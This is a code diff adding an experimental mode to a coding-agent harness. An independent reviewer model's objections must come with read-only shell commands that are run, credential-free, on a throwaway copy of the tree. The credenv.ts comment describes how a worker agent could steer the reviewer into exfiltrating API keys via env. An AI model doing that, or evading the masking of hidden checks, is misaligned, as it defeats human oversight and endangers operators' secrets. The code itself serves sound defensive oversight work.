diff --git a/CHANGELOG.md b/CHANGELOG.md index 6ba80e1..07c15be 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,19 @@ ## Unreleased +### Added + +- **`--review-executable`** (experimental, also `MAAT_REVIEW_EXECUTABLE=1`): + every `--review` objection must carry a read-only command that demonstrates + it. Maat runs it on a throwaway copy of the tree, with no API keys, tokens or + provider variables in its environment; an objection counts only when its + command reads the work (names a project path, or runs the project's tests or + build) and exits non-zero, or prints the value it named without that value + being in the command itself. A demonstrated objection shows the command + failed, not that it tested what the objection says. With no copy of the tree + available the command is not run. Each objection is recorded as counted, + refuted (the reviewer was wrong) or unchecked (it could not be run). + ### Changed - **OpenCode runs OpenCode Zen models only.** The OpenCode backend (worker and diff --git a/src/cli.tsx b/src/cli.tsx index 3ad7345..bf7eb66 100644 --- a/src/cli.tsx +++ b/src/cli.tsx @@ -162,6 +162,16 @@ options gate; "verified" then needs a drafted check that asserts a value, ran the work, and failed before the work began (also MAAT_REVIEW_ADVISORY=1) + --review-executable experimental: every --review objection must carry a + read-only command that demonstrates it; Maat runs it on a + copy of the tree and an objection whose command is missing, + mutates, or passes on the work is a note, not a veto. A + failure counts only from a command that reads the work + (names a project path or runs its tests); it shows the + command failed, not that it tested what the objection + says. Commands run without Maat's credentials, and with + no throwaway copy of the tree they are not run and do not + count (also MAAT_REVIEW_EXECUTABLE=1) --signout before an unattended claim is judged, put each stated requirement to the model once beside the commands it ran (off by default: 60 rounds rescued no task) @@ -279,6 +289,8 @@ type Args = { revealStuck?: boolean; /** `--review-advisory`: see EngineConfig.reviewAdvisory. */ reviewAdvisory?: boolean; + /** `--review-executable`: see EngineConfig.reviewExecutable. */ + reviewExecutable?: boolean; /** `--signout`: see EngineConfig.signOut. */ signout?: boolean; /** `--arbiter-model` / `--dispute-votes`: see EngineConfig.dispute. */ @@ -515,6 +527,9 @@ export function parseArgs(argv: string[], stored: StoredEndpoint = {}): Args { case "--review-advisory": out.reviewAdvisory = true; break; + case "--review-executable": + out.reviewExecutable = true; + break; case "--signout": out.signout = true; break; @@ -822,6 +837,7 @@ function engineFor(args: Args, session = false, extra: { files?: FileAccess } = batch: args.batch === true, ...(args.revealStuck === true ? { revealOnStuck: true } : args.revealStuck === false ? { revealOnStuck: false } : {}), ...(args.reviewAdvisory || env("REVIEW_ADVISORY") === "1" ? { reviewAdvisory: true } : {}), + ...(args.reviewExecutable || env("REVIEW_EXECUTABLE") === "1" ? { reviewExecutable: true } : {}), ...(args.signout ? { signOut: true } : {}), ...(args.arbiterModel || args.disputeVotes ? { dispute: { model: args.arbiterModel, votes: args.disputeVotes } } : {}), ...(args.review ? { review: { votes: args.review, reasoningEffort: args.reasoningChecks ?? args.reasoning } } : {}), diff --git a/src/credenv.ts b/src/credenv.ts new file mode 100644 index 0000000..d347487 --- /dev/null +++ b/src/credenv.ts @@ -0,0 +1,23 @@ +/** + * An environment for a command a model wrote, without Maat's credentials. + * + * A reviewer's objection command is model-authored shell text, and the + * reviewer read the worker's claim and output, so the worker can steer it. + * It runs in a throwaway copy of the tree, but with Maat's own environment + * it could read every API key Maat holds (`curl -d "$(env)" …`). This drops + * anything that names itself a credential, and the provider variables Maat + * reads its keys and endpoints from. PATH, HOME, locale and the like stay: + * the command still has to run. + */ +const SECRET_NAME = /(KEY|TOKEN|SECRET|PASSWORD|PASSWD|CREDENTIAL|AUTH|COOKIE|SESSION|DSN|DATABASE_URL|PRIVATE)/i; +const PROVIDER_PREFIX = /^(MAAT_|MOLT_|OPENAI|ANTHROPIC|OPENROUTER|XAI|GROK|GEMINI|GOOGLE|AWS|AZURE|GCP|DEEPSEEK|MISTRAL|GROQ|TOGETHER|FIREWORKS|HF_|HUGGING|OPENCODE|GH_|GITHUB|NPM_|CLOUDFLARE|CF_)/i; + +export function credentialFreeEnv(env: NodeJS.ProcessEnv): NodeJS.ProcessEnv { + const out: NodeJS.ProcessEnv = {}; + for (const [k, v] of Object.entries(env)) { + if (v === undefined) continue; + if (SECRET_NAME.test(k) || PROVIDER_PREFIX.test(k)) continue; + out[k] = v; + } + return out; +} diff --git a/src/engine.ts b/src/engine.ts index 97b497e..4485e1a 100644 --- a/src/engine.ts +++ b/src/engine.ts @@ -18,9 +18,11 @@ * - Shedding is two-phase: archive first, mutate second. * - Nothing is summarized by a model, ever. */ -import { runCommand } from "./run.js"; +import { bashPath, runCommand } from "./run.js"; +import { copyTreeOrWhy } from "./scratch.js"; import { describeStart, listBackground, startBackground, stopBackground } from "./background.js"; -import { reviewClaim, type Review } from "./review.js"; +import { objectionLine, readsTheWork, reviewClaim, type ExecutableReview, type ObjectionRun, type Review } from "./review.js"; +import { credentialFreeEnv } from "./credenv.js"; import { judgeEffort, judgeTarget } from "./judge.js"; import { tierOf } from "./tiers.js"; import { arbitrate, parseDisputes, type Ruling } from "./dispute.js"; @@ -1347,6 +1349,15 @@ export type EngineConfig = { * failed before the work (tiers.ts `reviewAdvisory`). Off by default. */ reviewAdvisory?: boolean; + /** + * Experimental (`--review-executable`, MAAT_REVIEW_EXECUTABLE=1): each + * objection the independent review raises must carry a read-only shell + * command that demonstrates it. Maat runs it on a throwaway copy of the tree; + * an objection counts only when its command ran and showed the failure. + * The rest are recorded as unsubstantiated notes and veto nothing + * (src/review.ts). Off by default. + */ + reviewExecutable?: boolean; /** * Requirement sign-out (src/signout.ts): one round per unattended turn that * lists each stated requirement beside the commands run for it. Off unless @@ -3586,6 +3597,61 @@ export class Engine { return this.markGuards(await runBar(bar, this.barContext(claim))); } + /** The review's executable-objection runner, when `reviewExecutable` is on; else nothing. */ + private executableReview(): { executable?: ExecutableReview } { + if (this.cfg.reviewExecutable !== true) return {}; + return { executable: { run: (command) => this.runObjection(command) } }; + } + + /** + * Run one reviewer's objection command as a task check runs: in a throwaway + * copy of the tree (src/scratch.ts), under bash, never past the turn's clock. + * The command has already passed lint L15 (it does not change the work). + * + * Never on the work itself. A reviewer's command is written by a model that + * read the task text, which may be anyone's, and it exists to probe the + * work, not to protect it; the lint is a reading of the command, not a + * guarantee. With no copy (a worktree's .git pointer, a tree over the copy + * limits, MAAT_CHECK_COPY=0) the objection is not run and does not count: + * "could not be run safely". + */ + private async runObjection(command: string): Promise { + const tried = process.env.MAAT_CHECK_COPY === "0" ? { why: "MAAT_CHECK_COPY=0 turns throwaway copies off" } : await copyTreeOrWhy(this.cwd); + if ("why" in tried) { + return { code: null, stdout: "", stderr: "", notRun: `could not be run safely: no throwaway copy of the tree (${tried.why})` }; + } + const copy = tried; + try { + const left = this.timeLeftMs(); + if (left !== undefined && left <= 0) { + return { code: null, stdout: "", stderr: "", notRun: "the time budget is spent" }; + } + const r = await runCommand(command, { + cwd: copy.dir, + shell: bashPath() ?? true, + timeoutMs: left !== undefined ? Math.max(1, Math.min(30_000, left)) : 30_000, + maxBuffer: 1024 * 1024, + // The reviewer's command never sees Maat's credentials (credentialFreeEnv). + env: credentialFreeEnv(process.env), + signal: this.running?.signal, + }); + const fix = (t: string) => copy.unmap(t); + return { code: r.code, stdout: fix(r.stdout), stderr: fix(r.stderr), timedOut: r.timedOut, readsWork: readsTheWork(command, copy.dir) }; + } finally { + await copy.cleanup(); + } + } + + + /** Executable mode: every objection that did not count, as an info line each. */ + private *unsubstantiated(review: Review | null): Generator { + for (const o of review?.objections ?? []) { + if (o.result === "demonstrated") continue; + // The reviewer's command and its output can quote a hidden check. + yield { kind: "info", text: this.maskWithheld(`objection not counted (reviewer ${o.vote}): ${objectionLine(o)}`) }; + } + } + /** tierOf's advisory-review arguments: empty unless `reviewAdvisory`. */ private advisoryTier(): { reviewAdvisory?: true; guards?: ReadonlySet } { return this.cfg.reviewAdvisory === true ? { reviewAdvisory: true, guards: this.passedBeforeWork } : {}; @@ -4327,7 +4393,7 @@ export class Engine { if (outcome === "verified" && this.cfg.review && inTurn !== undefined) { // Reviewed inside the turn, and nothing changed after. review = inTurn; - this.cfg.journal?.append("review", review ? { confirmed: review.confirmed, votes: review.votes, violations: review.violations.length } : { ran: false }); + this.cfg.journal?.append("review", review ? { confirmed: review.confirmed, votes: review.votes, violations: review.violations.length, ...(review.objections ? { objections: review.objections } : {}) } : { ran: false }); if (review && !review.confirmed) { yield { kind: "info", text: `passed its checks, unconfirmed: the reviewer (${review.votes}) found ` + review.violations.map((v) => `"${v.quote}" — ${v.evidence}`).join("; ") }; } @@ -4352,8 +4418,11 @@ export class Engine { // And every retry and pause inside it, not just one ask. deadlineAt: this.deadlineAt(), }, + ...this.executableReview(), }).catch(() => null); - this.cfg.journal?.append("review", review ? { confirmed: review.confirmed, votes: review.votes, violations: review.violations.length } : { ran: false }); + this.cfg.journal?.append("review", review ? { confirmed: review.confirmed, votes: review.votes, violations: review.violations.length, ...(review.objections ? { objections: review.objections } : {}) } : { ran: false }); + if (review?.objections && receiptPath) this.cfg.receipts?.amendReview(basename(receiptPath), review.objections); + yield* this.unsubstantiated(review); if (!review) { yield { kind: "info", text: "the independent review could not be run; the claim stands as checked" }; } else if (!review.confirmed) { @@ -4435,7 +4504,7 @@ export class Engine { ...(this.turnProviderStall ? { providerStall: true } : {}), ...(checksDisagree ? { checksDisagree: failing.map((r) => r.name) } : {}), ...(outcome === "verified" && this.turnRevealed.length ? { revealed: [...this.turnRevealed] } : {}), - ...(review ? { review: { confirmed: review.confirmed, votes: review.votes, violations: review.violations } } : {}), + ...(review ? { review: { confirmed: review.confirmed, votes: review.votes, violations: review.violations, ...(review.objections ? { objections: review.objections } : {}) } } : {}), ...(opened !== undefined ? { case: opened } : {}), }; } @@ -7550,11 +7619,16 @@ export class Engine { ...(this.timeLeftMs() !== undefined ? { timeoutMs: Math.max(1_000, this.timeLeftMs()!) } : {}), deadlineAt: this.deadlineAt(), }, + ...this.executableReview(), }).catch(() => null); + if (review?.objections) { + if (lastReceipt) this.cfg.receipts?.amendReview(lastReceipt, review.objections); + yield* this.unsubstantiated(review); + } if (review && !review.confirmed && review.violations.length && this.cfg.reviewAdvisory !== true) { reviewNudged = true; this.turnReview = undefined; - log?.append("review", { confirmed: false, votes: review.votes, violations: review.violations.length, nudged: true }); + log?.append("review", { confirmed: false, votes: review.votes, violations: review.violations.length, nudged: true, ...(review.objections ? { objections: review.objections } : {}) }); yield { kind: "info", text: @@ -7566,7 +7640,10 @@ export class Engine { content: `[molt] Your checks passed, but independent reviewers who read only the task and your ` + `receipt found the work contradicts the task:\n` + - review.violations.map((v) => `- the task says "${v.quote}" — ${v.evidence}`).join("\n") + + (review.objections + ? // Executable mode: an objection's command output may quote a hidden check. + this.maskWithheld(review.violations.map((v) => `- the task says "${v.quote}" — ${v.evidence}`).join("\n")) + : review.violations.map((v) => `- the task says "${v.quote}" — ${v.evidence}`).join("\n")) + `\nIf they are right, fix it and say done again. If they are wrong, say in one line why, ` + `and say done again without changing anything.`, }); diff --git a/src/receipts.ts b/src/receipts.ts index 3a33953..f786281 100644 --- a/src/receipts.ts +++ b/src/receipts.ts @@ -14,6 +14,7 @@ import { MIN_SECRET_CHARS, redact } from "./redact.js"; import type { BarResult } from "./types.js"; import { stateDir } from "./statedir.js"; import { WITHHELD, maskDeep, maskText } from "./withhold.js"; +import type { Objection } from "./review.js"; /** Where a receipt's full text goes when hidden commands were masked in it (src/withhold.ts). */ export const FULL_DIR = "full"; @@ -89,6 +90,12 @@ export type ReceiptRecord = { tierReason?: string; /** The strongest evidence class among the passing checks. */ evidence?: string; + /** + * `--review-executable`: each reviewer objection, the command that came with + * it and what running it showed (src/review.ts). Added after the receipt is + * written (`amendReview`), like the tier. + */ + objections?: Objection[]; }; /** What `repair()` changed, and what it left alone. */ @@ -743,6 +750,36 @@ export class Receipts { } } + /** + * Record the independent review's objections on a receipt's index row: each + * with its command and result (`--review-executable`). Masked like every + * other write while hidden commands are withheld. The receipt file itself, + * hash-bound when it was written, is never rewritten. + */ + amendReview(file: string, objections: readonly Objection[]): boolean { + try { + if (!existsSync(this.indexPath)) return false; + let hit = false; + const out = readFileSync(this.indexPath, "utf8") + .split("\n") + .map((l) => { + if (!l.trim()) return l; + try { + const r = JSON.parse(l) as ReceiptRecord; + if (r.file !== file) return l; + hit = true; + return redact(JSON.stringify({ ...r, objections: maskDeep([...objections], this.withheld) }), this.secrets); + } catch { + return l; + } + }); + if (hit) writeFileSync(this.indexPath, out.join("\n"), "utf8"); + return hit; + } catch { + return false; + } + } + /** * Reconcile the index against the files on disk. * diff --git a/src/review.ts b/src/review.ts index 6ec6151..071a8c2 100644 --- a/src/review.ts +++ b/src/review.ts @@ -17,7 +17,11 @@ * is unconfirmed only when a majority of independent reviews found a * grounded violation. */ +import { existsSync } from "node:fs"; +import { join } from "node:path"; import { askModel, jsonIn, type AskOptions } from "./ask.js"; +import { checkMutates } from "./checkwrites.js"; +import { diagnoseFailure } from "./bar.js"; export const REVIEW_SYSTEM = [ "You review a coding agent's claim that it finished a task. You did not do the work.", @@ -38,7 +42,18 @@ export const REVIEW_SYSTEM = [ ].join("\n"); export type Violation = { quote: string; evidence: string }; -export type Review = { confirmed: boolean; votes: string; violations: Violation[] }; +export type Review = { + confirmed: boolean; + votes: string; + violations: Violation[]; + /** + * Executable mode only: every grounded objection from every vote, with its + * command and what running it showed. Only "demonstrated" ones were counted. + */ + objections?: Objection[]; + /** Executable mode: objections that could not be run at all, so neither counted nor refuted. */ + unchecked?: number; +}; /** Lower-case, whitespace-collapsed, for the verbatim-quote check. */ function norm(s: string): string { @@ -72,18 +87,307 @@ export async function reviewClaim(opts: { receipt: string; votes?: number; ask: Omit; + /** + * Executable objections: each must carry a command that demonstrates it, + * and only those whose command ran and showed the failure are counted. + * Absent, the review is exactly what it always was. + */ + executable?: ExecutableReview; }): Promise { const votes = Math.max(1, opts.votes ?? 3); const prompt = `TASK TEXT:\n${opts.task}\n\nRECEIPT:\n${receiptEvidence(opts.receipt)}`; + const system = opts.executable ? REVIEW_SYSTEM_EXECUTABLE : REVIEW_SYSTEM; const replies = await Promise.all( Array.from({ length: votes }, () => - askModel({ ...opts.ask, system: REVIEW_SYSTEM, prompt, maxTokens: 2_000, what: "reviewing the claim" }), + askModel({ ...opts.ask, system, prompt, maxTokens: 2_000, what: "reviewing the claim" }), ), ); const ok = replies.filter((r): r is Extract => r.ok); if (!ok.length) return null; + if (opts.executable) { + const judged = await substantiate( + ok.map((r) => groundedObjections(r.text, opts.task)), + opts.executable, + ); + const counted = judged.map((list) => list.filter((o) => o.result === "demonstrated")); + const flagged = counted.filter((v) => v.length > 0); + const confirmed = flagged.length * 2 <= ok.length; + return { + confirmed, + votes: `${flagged.length}/${ok.length}`, + // The evidence a person (and the worker, if nudged) reads names the command that showed it. + violations: confirmed ? [] : flagged[0]!.map((o) => ({ quote: o.quote, evidence: `${o.evidence} [shown by \`${o.command}\`: ${o.exit !== 0 ? `exited ${o.exit}` : "printed the offending value"}]` })), + objections: judged.flat().map((o) => ({ ...o, standing: objectionStanding(o.result) })), + // A review whose objections could not be run is not a review that found + // nothing; the receipt says how many there were. + ...(judged.flat().some((o) => objectionStanding(o.result) === "unchecked") + ? { unchecked: judged.flat().filter((o) => objectionStanding(o.result) === "unchecked").length } + : {}), + }; + } const found = ok.map((r) => groundedViolations(r.text, opts.task)); const flagged = found.filter((v) => v.length > 0); const confirmed = flagged.length * 2 <= ok.length; return { confirmed, votes: `${flagged.length}/${ok.length}`, violations: confirmed ? [] : flagged[0]! }; } + +/* + * Executable objections (`--review-executable`, MAAT_REVIEW_EXECUTABLE=1). + * + * Measured 2026-10-07 (Grok worker, a 30B judge, 20 tasks): 18 runs passed + * the hidden grader, 2 were verified, and in 5 of the 16 unverified passes + * the review's objection was false — "tests were failing but now pass", a + * misread right-aligned column, an email rule the task never stated. A weak + * reviewer's prose vetoed correct work. With this option each objection must + * come with a read-only shell command that demonstrates it on the work as it + * stands, and Maat runs it: an objection counts only when its command ran and + * exited non-zero, or printed the offending value it named. Everything else + * is a note — an unsubstantiated objection — and vetoes nothing. + * + * Same discipline as everywhere: the model finds, something mechanical judges. + */ + +export const REVIEW_SYSTEM_EXECUTABLE = [ + ...REVIEW_SYSTEM.split("\n").slice(0, -4), + "", + "Every violation must come with a COMMAND that demonstrates it: one read-only shell", + "command, run from the project root on the work as it stands now, that either EXITS", + "NON-ZERO because of the violation (for example: test \"$(wc -l < out.txt)\" -eq 365),", + "or PRINTS the offending value, which you then copy verbatim, as one whole output", + 'line, into "shows". The command must not change anything: no writes into the', + "project, no rm, mv, sed -i, git checkout/commit/reset, no installs. It is run, and an", + "objection whose command is missing, does not run, or passes on the work is recorded", + "as unsubstantiated and counts for nothing. If you cannot write such a command, the", + "receipt does not show a violation. A command that cannot find or open what it reads", + "shows nothing; to show a required file is missing, use: test -e PATH.", + "", + "Reply with JSON only:", + '{"violations": [{"quote": "exact phrase from the task", "evidence": "what contradicts it", "command": "the shell command", "shows": "the offending output line, or empty when the command exits non-zero"}]}', + 'Return {"violations": []} if nothing in the receipt contradicts the task.', +].join("\n"); + +/** What running an objection's command established. Only "demonstrated" counts. */ +export type ObjectionResult = + | "demonstrated" + /** No command came with it. */ + | "no-command" + /** The command would change the work (lint L15, src/checkwrites.ts); never run. */ + | "lint" + /** It ran and exited 0 without printing the offending value it named. */ + | "passed" + /** It did not run: not found, could not open its input, timed out, killed. */ + | "did-not-run" + /** Over the per-review command budget; never run. */ + | "not-run" + /** + * It failed, but it reads nothing of the work (`false`, `exit 1`, a + * pattern with no file): a failure that says nothing about what was built. + */ + | "off-the-work"; + +/** + * Where an objection stands, in one word a receipt can carry: + * `counted` — demonstrated on the work, so it vetoes; + * `refuted` — the reviewer was wrong: the command passed on the work, did not + * read it, came with no command, or would have changed it; + * `unchecked` — it could not be run (no safe copy, timed out, over budget), + * so nothing is known either way. Neither of the last two vetoes. + */ +export type ObjectionStanding = "counted" | "refuted" | "unchecked"; + +export function objectionStanding(result: ObjectionResult): ObjectionStanding { + if (result === "demonstrated") return "counted"; + return result === "did-not-run" || result === "not-run" ? "unchecked" : "refuted"; +} + +export type Objection = Violation & { + /** Which reviewer (1-based) raised it. */ + vote: number; + command?: string; + shows?: string; + result: ObjectionResult; + /** objectionStanding(result), written out so a receipt row says it. */ + standing?: ObjectionStanding; + exit?: number | null; + /** The command's output, cut short. */ + output?: string; + /** Why it does not count, in words, when it does not. */ + why?: string; +}; + +export type ObjectionRun = { + code: number | null; + stdout: string; + stderr: string; + timedOut?: boolean; + /** Not run at all, and why: there was no safe place to run it (no throwaway copy of the tree). */ + notRun?: string; + /** + * Whether the command reads the work: names a file or folder of the project, + * or runs its tests or build (readsTheWork). False makes a failure prove + * nothing; left out, it is not checked. + */ + readsWork?: boolean; +}; + +/** How an executable review runs a command: on a throwaway copy of the tree (src/scratch.ts). */ +export type ExecutableReview = { + run: (command: string) => Promise; + /** Most distinct commands one review runs; the rest are notes. Default 12. */ + maxCommands?: number; +}; + +/** One reply's grounded objections, with their command and shown value. */ +export function groundedObjections(reply: string, task: string): (Violation & { command?: string; shows?: string })[] { + const o = jsonIn(reply); + const list = Array.isArray(o?.violations) ? o!.violations : []; + const t = norm(task); + return list + .filter((v): v is Record => !!v && typeof v === "object") + .map((v) => { + const command = typeof v.command === "string" && v.command.trim() ? v.command.trim() : undefined; + const shows = typeof v.shows === "string" && v.shows.trim() ? v.shows : undefined; + return { + quote: String(v.quote ?? ""), + evidence: String(v.evidence ?? ""), + ...(command ? { command } : {}), + ...(shows ? { shows } : {}), + }; + }) + .filter((v) => norm(v.quote).length >= 4 && t.includes(norm(v.quote))); +} + +const OUTPUT_CAP = 600; + +/** Commands that read the project without naming a file: its tests, its build, its history. */ +const READS_PROJECT = /^(npm|npx|pnpm|yarn|bun|make|cargo|go|pytest|tox|nox|mvn|gradle|\.\/gradlew|dotnet|mix|rake|bundle|composer|deno|git|swift|ctest|cmake|meson|ninja)$/; + +/** + * Does this command read the work? It names the project (`.`), a path in it + * (one that exists in `dir`, the copy it runs in, or one shaped like a path: + * a missing deliverable is a fair objection), or it runs the project's tests + * or build. Read + * from the words of the command, quotes and shell punctuation removed; a + * glob counts by the folder it starts in. + */ +export function readsTheWork(command: string, dir: string): boolean { + const words = command.split(/[\s;&|()<>`"'=,]+/).map((w) => w.replace(/^\$\(/, "").trim()).filter(Boolean); + for (const w of words) { + const head = w.replace(/^.*\//, ""); + if (READS_PROJECT.test(w) || READS_PROJECT.test(head)) return true; + if (/^-/.test(w) || w.startsWith("/") || w.startsWith("~") || w.startsWith("$")) continue; + if (w === "." || w === "./") return true; + const path = w.replace(/^\.\//, "").replace(/[*?[{].*$/, "").replace(/[:/]+$/, ""); + if (!path || path.startsWith("..")) continue; + // Shaped like a project path (a folder, or a name with an extension): a + // check that a file the task asks for is missing names a file that is not there. + if (/\//.test(w.replace(/^\.\//, "")) || /^[\w.-]*\w\.[A-Za-z0-9]{1,8}$/.test(path)) return true; + try { + if (existsSync(join(dir, path))) return true; + } catch { + /* not a path */ + } + } + return false; +} + +/** Judge one ran command: did it demonstrate the objection? */ +export function judgeObjectionRun( + r: ObjectionRun, + shows: string | undefined, + command?: string, +): { result: ObjectionResult; why?: string } { + if (r.notRun) return { result: "did-not-run", why: r.notRun }; + if (r.timedOut) return { result: "did-not-run", why: "the command timed out" }; + if (r.code === null) return { result: "did-not-run", why: "the command was killed" }; + if (r.code !== 0) { + const d = diagnoseFailure(r.code, r.stdout, r.stderr); + // A command that could not find or open what it reads demonstrates nothing + // about the work: the objection names a path the reviewer guessed. + if (d.didNotRun || d.hint) return { result: "did-not-run", why: d.hint ?? "the command did not run" }; + // `false` and `exit 1` fail on any tree. A failure counts only from a + // command that read the work. + if (r.readsWork === false) { + return { result: "off-the-work", why: "it failed, but it reads no file of the project and runs none of its tests" }; + } + return { result: "demonstrated" }; + } + if (shows !== undefined) { + const want = shows.trim(); + // `echo "the line"` prints whatever it is given. + if (want && command !== undefined && command.includes(want)) { + return { result: "off-the-work", why: "the line it names is in the command itself, so printing it shows nothing" }; + } + const lines = `${r.stdout}\n${r.stderr}`.split("\n").map((l) => l.trim()); + if (want && lines.includes(want)) return { result: "demonstrated" }; + return { result: "passed", why: `the command exited 0 and did not print the line it named (${JSON.stringify(shows.slice(0, 120))})` }; + } + return { result: "passed", why: "the command exited 0 on the work" }; +} + +/** + * Run every objection's command (each distinct command once) and judge it. + * Exported for tests; reviewClaim calls it when `executable` is given. + */ +export async function substantiate( + perVote: (Violation & { command?: string; shows?: string })[][], + exec: ExecutableReview, +): Promise { + const cap = Math.max(0, exec.maxCommands ?? 12); + const ran = new Map>(); + const out: Objection[][] = []; + for (let i = 0; i < perVote.length; i++) { + const list: Objection[] = []; + for (const v of perVote[i]!) { + const base = { quote: v.quote, evidence: v.evidence, vote: i + 1, ...(v.command ? { command: v.command } : {}), ...(v.shows ? { shows: v.shows } : {}) }; + if (!v.command) { + list.push({ ...base, result: "no-command", why: "no command came with it" }); + continue; + } + const mutates = checkMutates(v.command); + if (mutates) { + list.push({ ...base, result: "lint", why: `L15-mutates: ${mutates}` }); + continue; + } + let p = ran.get(v.command); + if (!p) { + if (ran.size >= cap) { + list.push({ ...base, result: "not-run", why: `over the review's budget of ${cap} command(s)` }); + continue; + } + p = exec.run(v.command).catch(() => null); + ran.set(v.command, p); + } + const r = await p; + if (!r) { + list.push({ ...base, result: "did-not-run", why: "the command could not be started" }); + continue; + } + const j = judgeObjectionRun(r, v.shows, v.command); + const output = `${r.stdout}${r.stderr}`; + list.push({ + ...base, + result: j.result, + exit: r.code, + ...(output ? { output: output.length > OUTPUT_CAP ? `${output.slice(0, OUTPUT_CAP)}…` : output } : {}), + ...(j.why ? { why: j.why } : {}), + }); + } + out.push(list); + } + return out; +} + +/** One objection as a line for a person: what was claimed, what was run, what it showed. */ +export function objectionLine(o: Objection): string { + const cmd = o.command ? ` — \`${o.command}\`` : ""; + const res = + o.result === "demonstrated" + ? o.exit !== undefined && o.exit !== 0 + ? `exited ${o.exit}` + : "printed the offending value" + : o.why ?? o.result; + const standing = objectionStanding(o.result); + const label = standing === "counted" ? "demonstrated" : standing === "refuted" ? "unsubstantiated (reviewer wrong)" : "not checked (could not run)"; + return `"${o.quote}" — ${o.evidence}${cmd} → ${label}: ${res}`; +} diff --git a/src/types.ts b/src/types.ts index 5283af5..a121eb1 100644 --- a/src/types.ts +++ b/src/types.ts @@ -633,7 +633,13 @@ export type EngineEvent = * confirmed means "passed its checks, unconfirmed": a majority of * reviews found a violation quoted from the task text. */ - review?: { confirmed: boolean; votes: string; violations: { quote: string; evidence: string }[] }; + review?: { + confirmed: boolean; + votes: string; + violations: { quote: string; evidence: string }[]; + /** `--review-executable`: every objection, its command and what running it showed. */ + objections?: import("./review.js").Objection[]; + }; /** The judgment case this job opened: the scale did not settle it, a person will (judgment.ts). */ case?: number; /** diff --git a/test/review-executable.test.ts b/test/review-executable.test.ts new file mode 100644 index 0000000..a51500b --- /dev/null +++ b/test/review-executable.test.ts @@ -0,0 +1,350 @@ +/** + * Executable objections (`--review-executable`, MAAT_REVIEW_EXECUTABLE=1): + * an independent reviewer's objection counts only when the command it came + * with ran on the work and demonstrated the failure. + */ +import assert from "node:assert/strict"; +import { existsSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { describe, it } from "node:test"; +import { Engine } from "../src/engine.js"; +import { Receipts } from "../src/receipts.js"; +import { stateDir } from "../src/statedir.js"; +import { + REVIEW_SYSTEM, + REVIEW_SYSTEM_EXECUTABLE, + judgeObjectionRun, + objectionLine, + readsTheWork, + reviewClaim, + type ExecutableReview, + type ObjectionRun, +} from "../src/review.js"; +import { credentialFreeEnv } from "../src/credenv.js"; +import { allowAll, drain, scriptedProvider, workspace, type ScriptedTurn } from "./helpers.js"; + +const TASK = "Write out.txt containing exactly 365 lines. Do not create any other file."; +const objection = (command?: string, shows?: string) => + JSON.stringify({ violations: [{ quote: "exactly 365 lines", evidence: "the receipt shows 366", ...(command !== undefined ? { command } : {}), ...(shows !== undefined ? { shows } : {}) }] }); +const clean = JSON.stringify({ violations: [] }); + +function replying(texts: string[], systems?: string[]): typeof fetch { + let i = 0; + return (async (_u: string, init?: RequestInit) => { + try { + const body = JSON.parse(String(init?.body ?? "{}")) as { messages?: { role: string; content: string }[] }; + const sys = body.messages?.find((m) => m.role === "system")?.content; + if (systems && sys !== undefined) systems.push(sys); + } catch { + // not JSON: nothing to record + } + const content = texts[Math.min(i++, texts.length - 1)]!; + return { ok: true, status: 200, json: async () => ({ choices: [{ message: { content }, finish_reason: "stop" }] }), text: async () => "" } as unknown as Response; + }) as unknown as typeof fetch; +} + +/** A runner that answers from a table and records what it was asked to run. */ +function runner(table: Record): ExecutableReview & { ran: string[] } { + const ran: string[] = []; + return { + ran, + run: async (command) => { + ran.push(command); + return table[command] ?? { code: 0, stdout: "", stderr: "" }; + }, + }; +} + +const ask = (texts: string[], systems?: string[]) => ({ baseUrl: "http://p.test/v1", model: "m", fetchFn: replying(texts, systems) }); + +describe("executable objections: reviewClaim", () => { + it("an unsubstantiated objection does not veto: no command, a passing command, a command that cannot run", async () => { + const exec = runner({ + 'test "$(wc -l < out.txt)" -eq 365': { code: 0, stdout: "", stderr: "" }, + "cat nope.txt": { code: 1, stdout: "", stderr: "cat: nope.txt: No such file or directory" }, + }); + const r = await reviewClaim({ + task: TASK, + receipt: "r", + ask: ask([objection(), objection('test "$(wc -l < out.txt)" -eq 365'), objection("cat nope.txt")]), + executable: exec, + }); + assert.ok(r); + assert.deepEqual([r.confirmed, r.votes, r.violations], [true, "0/3", []], "three prose objections, none demonstrated"); + assert.deepEqual(r.objections!.map((o) => o.result), ["no-command", "passed", "did-not-run"]); + assert.deepEqual(r.objections!.map((o) => o.vote), [1, 2, 3]); + assert.equal(r.objections![1]!.command, 'test "$(wc -l < out.txt)" -eq 365'); + assert.equal(r.objections![1]!.exit, 0); + }); + + it("a substantiated objection vetoes: its command fails on the work", async () => { + const cmd = 'test "$(wc -l < out.txt)" -eq 365'; + const exec = runner({ [cmd]: { code: 1, stdout: "", stderr: "" } }); + const r = await reviewClaim({ task: TASK, receipt: "r", ask: ask([objection(cmd), objection(cmd), clean]), executable: exec }); + assert.ok(r); + assert.deepEqual([r.confirmed, r.votes], [false, "2/3"]); + assert.equal(r.violations[0]!.quote, "exactly 365 lines"); + assert.match(r.violations[0]!.evidence, /shown by `test .*`: exited 1/); + assert.deepEqual(exec.ran, [cmd], "the same command runs once, however many reviewers raise it"); + }); + + it("a command that prints the offending value it named demonstrates it; one that does not, does not", async () => { + const exec = runner({ "awk 'NR==366' out.txt": { code: 0, stdout: "extra line\n", stderr: "" } }); + const shown = await reviewClaim({ task: TASK, receipt: "r", votes: 1, ask: ask([objection("awk 'NR==366' out.txt", "extra line")]), executable: exec }); + assert.deepEqual([shown!.confirmed, shown!.votes], [false, "1/1"]); + const wrong = await reviewClaim({ task: TASK, receipt: "r", votes: 1, ask: ask([objection("awk 'NR==366' out.txt", "something else")]), executable: exec }); + assert.deepEqual([wrong!.confirmed, wrong!.votes, wrong!.objections![0]!.result], [true, "0/1", "passed"]); + // A substring of a line is not the line: "40" is not " 40 /". + assert.equal(judgeObjectionRun({ code: 0, stdout: " 40 /\n", stderr: "" }, "40").result, "passed"); + }); + + it("a mutating objection command is rejected by lint L15 and never run", async () => { + const exec = runner({}); + const muts = ["rm out.txt", "sed -i 's/x/y/' out.txt", "echo 1 > out.txt", "git checkout -- out.txt"]; + const r = await reviewClaim({ task: TASK, receipt: "r", votes: muts.length, ask: ask(muts.map((m) => objection(m))), executable: exec }); + assert.ok(r); + assert.deepEqual([r.confirmed, r.votes], [true, "0/4"]); + assert.deepEqual(r.objections!.map((o) => o.result), ["lint", "lint", "lint", "lint"]); + 